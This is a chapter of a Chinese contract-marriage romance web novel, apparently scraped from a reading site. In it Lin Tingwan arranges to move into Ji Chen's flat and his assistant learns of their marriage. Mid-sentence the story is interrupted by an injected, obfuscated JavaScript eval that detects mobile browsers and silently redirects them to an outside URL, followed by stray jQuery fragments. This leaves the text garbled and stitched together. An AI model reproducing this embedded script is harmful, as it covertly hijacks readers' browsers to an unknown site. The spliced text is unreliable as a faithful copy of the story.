默认冷灰
24号文字
方正启体

9. 兜底

作者:仙贝瑞拉本书字数:K更新时间:
    林家和季家不是新贵,都是庆岭的老钱,祖辈根基深厚,家底殷实,也门当户对。两家联姻传出去也是一段理所当然的佳话——在林老爷子离世之前。


    现在的林家分崩离析,老大老三争权利、争财产,只剩下哥哥姐姐两个小辈顶着。但姐姐和哥哥并不和,直到去年年底、冬至之前,林氏的高层分割成对立的两派,算是彻底站队了。


    林听晚坐在吧台前的高脚凳上,侧身,歪着脑袋看林落烟:“我爸昨天问我你的事,我一个字都没有说哦。”


    有点邀功的语气。


    林落烟笑了笑:“没关系,你可以全部交代。”


    她不在乎。


    林听晚撑着下巴,笑眯眯地看她,语调上扬:“那怎么行。我可是站在你这边的啊,姐姐。”


    “是吗?”林落烟低眸,笑意加深,眼尾的粉色眼线跟钩子似的,抓着旁人的心。


    有人过来搭讪,被屈炀赶走。他站在吧台里侧,双手撑着吧台,看着眼前这两个人。


    在心里说了八百遍,嫉妒啊嫉妒,林家的基因怎么能这么好,女娲甩泥点子的时候偏心了吧。怎么能有长得这么好看的人,这姐妹俩往这儿一坐,他的眼球直接被净化,“星期六”的逼格都高了不少。


    两个人无论是长相、妆容、穿衣风格、行事作风,还是兴趣爱好,都完全不同。


    一个媚眼如丝,风情万种,举手投足间尽是娇柔性感,什么都不在乎。一个古灵精怪,看起来人畜无害,实则叛逆拐杖,一肚子坏水,随时随地发疯。


    “你上次喝多了发疯,三哥还敢放你出来喝酒?”屈炀觉得他就算见再多次,也没办法习惯她发疯,这会儿想起来这件事,问她。


    毕竟今时不同往日,和她结婚的人是季琛,可不是岳辰那种好糊弄的废物。


    林听晚说:“他出差了。”


    林落烟提醒:“你刚才用了他的黑卡。”


    “……”


    酒杯抵在唇瓣,顿住,林听晚沉默两秒,低骂,“靠。”


    她这才想起来,黑卡的消费记录会发到持卡人手里。那她从现在开始的每一笔消费都逃不过他的眼睛,不就等同于在他面前裸奔吗?


    一口闷完剩下一半的B-52轰炸机,林听晚摸出手机,给季琛发消息。


    她试探地问:【你什么时候回来呀?】


    等了好一会儿,对面依然没有回复,搞得她莫名有点忐忑,甚至万年难得一见的自我检讨起来,在一个捉摸不透的资本家眼皮子底下胡作非为,是她得意忘形了。


    可是他们的协议里写了,不可以干涉对方的生活。


    后来又加上了“非必要”三个字。但在朋友的酒吧喝酒而已,也不算什么必要情况吧。


    手机抵在吧台,在她的指间慢悠悠、不停地转着,一圈又一圈。


    振动一下,她回过神。


    季琛:【想干什么?】


    不问她怎么了,而是问她想干什么。他似乎很清楚她这个人,到底有多少坏心思和鬼点子。


    林听晚坐直了点,捧着手机打字:【不干什么,关心你嘛,这不正常吗?】


    季琛:【不正常】


    林听晚:“……”


    一口气堵在胸口,她想了想,说:【我觉得我还是搬去你那里比较好】


    从父母家走出来那天之后,她不知道父母是怎么和岳家交代的,也不清楚他们两边有没有什么别的置换条件,会不会仍然和她有关。


    她虽然没有说结婚对象是季琛,但这个圈子里走漏风声是一件再正常不过的事了,但凡用点手段和人脉,打听消息也很容易。


    纸包不住火,当然她也没想包,火烧得越旺越好。


    她需要搬去季琛那里,做做表面功夫,演一对相敬如宾的夫妻。


    演戏嘛,她最擅长。


    而且……这个男人实在是太有利用价值了。


    季琛大概是没有想到她在一天之内,对搬家这件事的态度能有一百八十度转变,也有可能是懒得打字,直接给她打了一通电话过来。


    手机突然在手里振动,吓了林听晚一大跳,脏话随即溜出嘴边。


    酒吧斑斓的灯光不停变化,音乐声振得人耳朵发麻。喧闹不绝于耳,盖过说话的声音,更是盖过手机铃声。


    看到来电显示,她下了高脚凳,直奔卫生间。


    大门一关,隔音效果很好。她站在宽敞的隔间里,靠在一侧,清清嗓子,接通电话。


    “哪天搬?我找人帮你。”季琛直接问。


    手机贴在耳边,林听晚抱着一只胳膊:“你不在家,我直接搬过去,不太好吧?那毕竟是你家,万一有什么我不能进的地方,我不能碰的东西。”


    话音落下,听筒里一阵寂静。她弯唇笑起来,心想,看吧,被她说中了吧,独居男人指不定有什么见不得人的小秘密。


    万一像狗血小说里那样,有一个爱而不得的白月光呢?家里放了一些睹物思人的东西,要是被她不知情而不小心磕了碰了,拿她撒气,她可就得不偿失了。


    半晌,听筒里传来低频的呼吸,季琛的声音微沉:“没什么不能。”


    “……”


    这个狗男人怎么油盐不进。


    林听晚拿捏着腔调,“我不管,你要回来帮我搬家才行。要是搬家的时候碰见认识的人,我一个人显得多可怜啊。虽然我们是有名无实的夫妻,但你好歹演演戏、做做样子吧。”


    季琛哂笑,问:“除了你和我,有谁知道?”


    林听晚说:“还有我姐和屈炀。”


    季琛从容不迫地回应:“嗯,还有呢?”


    咬咬下唇,林听晚瘪嘴,攒眉蹙额,情绪说来就来。


    她吸了吸鼻子,营造一种微微抽泣的样子,听起来凄惨可怜,但是一滴眼泪都没有,鳄鱼好歹还有眼泪呢。


    “我孤零零一个人搬去你家,你还不在庆岭。圈子里那些人要是知道了,大抵是会说我不要脸、不自爱,把自己送上门,主动爬你的床的。”就差捏着手帕在脸上按一按,擦擦虚无的眼泪了。


    隔着手机,看不见她的表情,只能听见她的声音、气息,季琛却能想象到她此刻的模样。


    他勾唇,被她信手拈来的这套路子逗笑,心想,小姑娘今晚拿的是哪个角色的剧本。


    他低沉的嗓音沾染了点笑意,故意问:“酒喝完了?”


    啪嗒。


    林听晚把电话挂了。


    干脆利落,毫不犹豫。


    被挂电话,季琛并不生气。他往酒店电梯的方向走,低头闷笑。


    逗小孩儿挺好玩。


    卫择摁了电梯,站在一旁等,瞄见他的表情,忍不住开口:“哥,你这两天心情好像不错。”


    他们俩年轻差距不大,有过命的交情。工作中是上下属,生活中是朋友。


    季琛收起手机,不咸不淡的嗯了一声。


    一前一后进了电梯,卫择站在前面,通过电梯壁看季琛,眼睛又不停往后瞟,都快成斜视了。


    季琛头也没抬:“有话就说。”


    卫择犹豫:“有一件事我不知道该不该说。”


    “那你闭嘴。”季琛说。


    怎么可能闭嘴,卫择也只是假客气一下,压根没听季琛的话,继续说:“老夫人让我转告,你今年必须回老宅过年,工作放一放,季氏一天没你不会垮。你已经连续两个除夕没在老宅过了,不是在外地就是在去外地的飞机上。”


    肩膀微微倾斜,季琛靠在电梯侧壁,衬衫领口的扣子在走出饭局包间的时候就已经解开,散漫地敞开,露出一截锁骨,整个人显得桀骜不驯。


    他吊着眼尾看卫择,似笑非笑:“还有呢?”


    卫择心虚,挺直后背绷住表情,缄默不语。


    电梯到达顶层,季琛先一步走出去:“告诉魏女士,别太关心我的感情问题。”


    卫择抬头盯着他的背影,泄气。


    果然瞒不过他,卫择啊卫择,双面间谍当的也太失败了,重开吧。


    酒店走廊空荡,繁复的雕花在墙柱上栩栩如生,油画点缀其间,被映出柔光。脚下名贵的地毯柔软厚重,每一步都仿佛踩在云端。


    季琛推开门,摆弄套房里的茶具,打算煮茶醒酒:“回庆岭后,跟我见个人。”


    卫择正想说大晚上喝什么茶啊,要醒酒他兑点蜂蜜水就行了,听见他的话,好奇:“见谁?”


    季琛垂眸倒水:“你嫂子。”


    卫择往嘴里扔了一瓣橘子,被汁水呛到,猛咳两声,缓了缓。


    难以置信刚才听见了什么,一时间怀疑是不是自己的耳朵出了问题,明天要不要请个假去看看耳朵。


    很难想象季琛谈恋爱的样子。薄情寡义是他,玩世不恭也是他,不管在什么场合,无论多么游刃有余,总是拿捏着尺度。


    看起来那方面很强,但永远透着一股疏离。不越界、不犯浑,点到为止。


    他不弄死别人就不错了,还谈恋爱?跟鬼谈啊。


    “哪种嫂子?”卫择憋了半天,憋出来这么一句。


    季琛捏住杯盖顶端,沿着茶杯杯口,刮走浮沫:“合法那种。”


    卫择震惊到差点咬到舌头,但又觉得可以理解。任何常人眼中矛盾的、扭曲的、不合理的东西,放在他身上,似乎都说得通。


    于是经历过大风大浪的卫择在短短一分钟内接受了现实,一瓣


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459140|169669||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一瓣吃完橘子,擦擦手,问季琛:“回去见嫂子,我需要准备什么?”


    知道这会儿横竖问不出半个姓名,他不深究,反正三天后回庆岭就能见到人。但空手见人总归不好,他至少需要提前准备点礼物。


    季琛喝完一盏茶,放下杯盏,起身往浴室走:“准备帮忙搬家。”


    .


    能做季琛身边的人,卫择具备极高的专业素养,最大的优点,就是没什么好奇心。就算有这么大一个惊天八卦如同炸弹一般砸在他的脚趾头,他也不为所动,眼睛都不眨一下。


    兢兢业业地完成这次出差工作,落地庆岭的第一件事,就是跟随季琛去帮嫂子搬家。


    脱离工作,卫择那点难得的好奇心这才冒出来,的确想看看,到底是什么样的人,能猛地一下把季琛拽进婚姻的坟墓。


    毫无征兆、毫无风声,就这么结婚了。


    车子一路往东,上了高架,驶出三环。卫择越看导航的目的地,越觉得不对劲。


    直到车子穿过悠长而宽阔的道路,车轮压过路面的鹅卵石。


    他看着门内巍峨的宅邸,眼前一黑。


    ——林宅。


    嫂子是谁,根本不用猜,答案在纸上。


    林家这一代只有三个小辈,一位少爷,两位小姐。


    大小姐林落烟是季琛的弟媳,只剩下二小姐林听晚,总不能那位常年驻扎在国外的大少爷吧。


    林家这个二小姐,风评不好,极端不好。酒肉朋友很多,交心挚友几乎为零。是圈子里吃得开的好人缘,但也逢场作戏。情绪大开大合,很会闯祸。


    总而言之,让人又爱又恨。


    怎么是这位啊……


    跟着季琛往里走,卫择的精气神折损大半,开始给自己做心里建设,预计往后的日子不会太平。


    林听晚见到季琛莫名感觉恍如隔世,三四天而已,看他就充满了新鲜感。


    “你回来啦!”


    欣喜、雀跃,语调上扬,尾音像是自带波浪线,掐着嗓子,黏黏糊糊。


    站在季琛身后的卫择猛地一抖,鸡皮疙瘩起了一身。


    简单和卫择打了个照面,林听晚啧啧两声,感慨:“一张帅脸的背后是另一张帅脸,真好。”


    卫择眉心一跳,只觉得惊悚,望向季琛,想撇清关系顺便表忠心。结果发现男人压根没有在意林听晚说的话,只是绕过客厅,去拿放在岛台旁边的行李箱。


    东西不多,林听晚早就收拾好了,只有两个行李箱。


    卫择紧跟季琛的步伐,从他手里拿走行李箱,拎着两个箱子赶紧往外跑。


    把人送到江南公馆,更是跟踩了风火轮似的,一溜烟就不见了。


    季琛回到家之后,扔给林听晚一句自便,就进了书房。


    时间还早,林听晚没着急收拾行李,趿拉着拖鞋,在屋子里逛了一圈。


    一梯一户、视野开阔的大平层,下沉式客厅,客厅右侧的门可以折叠推拉,外面有一个小阳台。


    璀璨灯光组成的线条勾勒着这座城市,站在这里可以看见大半个庆岭。十几公里外的地标建筑映入眼帘,显得格外精巧。


    家里装修风格简约,有绿植点缀,干净整洁。客厅灯带的暖色灯光点亮,烘托出一股温馨感。


    她以为,他这样的人,像医院里的白炽灯一样冷。


    短暂地熟悉了一下这套房子,林听晚踩着拖鞋小跑进卧室。


    她不知道季琛是什么时候找人把房间收拾好的,也没有提前问过她对房间装潢的要求,但毕竟这里是他的家,她也没有那么不知好歹,睡着舒服就行。


    反正与她而言,也只是一个在庆岭落脚的地方。


    季琛坐在书房椅子上,面前摆着电脑和一沓文件,隐约听见门外走廊来回跑动的声音。拖鞋踩在地上,哒哒哒。


    她的动静实在是太大了。


    黑色中性笔夹在他的指间,慢悠悠地转了转——他不习惯用钢笔,也没有收藏昂贵钢笔的喜好。


    门突然被推开。


    林听晚趴在门边,探出脑袋,刚要开口找他帮忙,看见他,蓦地怔住,仿佛在刹那间被抽走心魄。


    屋子里暖气开的很足,他只穿了一件黑色打底衫,算不上高领,露出喉结。宽阔的肩膀和锁骨撑开衣服,袖口挽到手肘。


    他没摘手表,手里捏着笔。骨节分明,手背血管蜿蜒。下颌线锋利,薄唇,高挺的鼻梁上挂着一副金边眼镜。


    挡住些许凌厉的目光,变得勾人。仿佛在峰回路转的山崖,突然看见一株盛开的花。


    林听晚的脑子混乱几秒,心神荡漾。


    妈妈……


    你不懂,我是真的嫁对了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)